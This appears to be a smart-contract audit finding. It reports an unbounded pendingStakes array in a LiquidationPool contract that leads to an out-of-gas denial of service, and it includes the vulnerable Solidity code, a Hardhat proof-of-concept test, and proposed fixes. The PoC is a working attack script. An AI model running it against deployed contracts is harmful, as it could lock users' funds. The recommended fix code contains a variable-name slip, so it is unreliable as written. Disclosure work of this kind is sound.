Summary
The pendingStakes
array can grow without bound making the loop too expensive to execute, causing the transaction to revert, and locking some functions forever.
Vulnerability Details
Items are added to the pendingStakes
array in the increasePosition
function, before adding to this array it calls the consolidatePendingStakes
function that deletes from pending stakes when certain conditions are met.
function increasePosition(uint256 _tstVal, uint256 _eurosVal) external {
require(_tstVal > 0 || _eurosVal > 0);
@> consolidatePendingStakes();
ILiquidationPoolManager(manager).distributeFees();
if (_tstVal > 0) IERC20(TST).safeTransferFrom(msg.sender, address(this), _tstVal);
if (_eurosVal > 0) IERC20(EUROs).safeTransferFrom(msg.sender, address(this), _eurosVal);
@> pendingStakes.push(PendingStake(msg.sender, block.timestamp, _tstVal, _eurosVal));
addUniqueHolder(msg.sender);
}
The consolidatePendingStakes
loops through the pendingStakes
array, this operation might fail if the array is very large.
Inside the loop, this function checks if every stake is older than a day, before creating a position for it and deleting it from the array pendingStakes
in the deletePendingStake
.
function consolidatePendingStakes() private {
@> uint256 deadline = block.timestamp - 1 days;
@> for (int256 i = 0; uint256(i) < pendingStakes.length; i++) {
PendingStake memory _stake = pendingStakes[uint256(i)];
@> if (_stake.createdAt < deadline) {
positions[_stake.holder].holder = _stake.holder;
positions[_stake.holder].TST += _stake.TST;
positions[_stake.holder].EUROs += _stake.EUROs;
@> deletePendingStake(uint256(i));
// pause iterating on loop because there has been a deletion. "next" item has same index
i--;
}
}
}
The root cause of the bug is that the pendingStakes
array can get very large within 24 hours thereby causing a denial of service in the functions that are using the whole array.
Impact
The following functions increasePosition
, distributeFees
, getTstTotal
, holderPendingStakes
, deletePendingStake
, consolidatePendingStakes
, decreasePosition
, and distributeAssets
may become permanently inoperable when this happens
POC
pendingStakes.length
has no maximum size
describe("DOS", () => {
it('Should Run out of gas', async () => {
const balance = ethers.utils.parseEther('500000000');
const tstVal = 1;
const eurosVal = 5;
await TST.mint(user1.address, balance);
await EUROs.mint(user1.address, balance);
await LiquidationPool.position(user1.address);
await TST.approve(LiquidationPool.address, balance);
await EUROs.approve(LiquidationPool.address, balance);
for (let i = 0; i < 200; i++){
await LiquidationPool.increasePosition(tstVal, eurosVal);
}
await fastForward(DAY);
* This function call will, call the "consolidatePendingStakes" function
* since all the pendingStakes are older than a day, the "deletePendingStake"
* function would be called, and since this function loops through
* the "pendingStakes" array. The whole operation is going to be run
* n^2 times i.e 200^2 = 40000 times.
* */
await LiquidationPool.increasePosition(tstVal, eurosVal)
})
})
LiquidationPool
DOS
1) allows increasing position by one or both assets
0 passing (1m)
1 failing
1) LiquidationPool
DOS
allows increasing position by one or both assets:
TransactionExecutionError: Transaction ran out of gas
Recommendation
-
Give pendingStakes
a maximum length so it doesn't go over that length.
-
The deletePendingStake
function can work without looping through the pendingStakes
array, this fix saves gas and prevent the call from revertinh.
function deletePendingStake(uint256 _i) private {
pendingStakes[i] = pendingStakes[pendingStakes.length - 1];
pendingStakes.pop();
}
The consolidatePendingStakes
function should not be called in the following functions.increasePosition
, decreasePosition
, and distributeAssets
. Rather the consolidatePendingStakes
function should be made public and called regularly by and upkeep.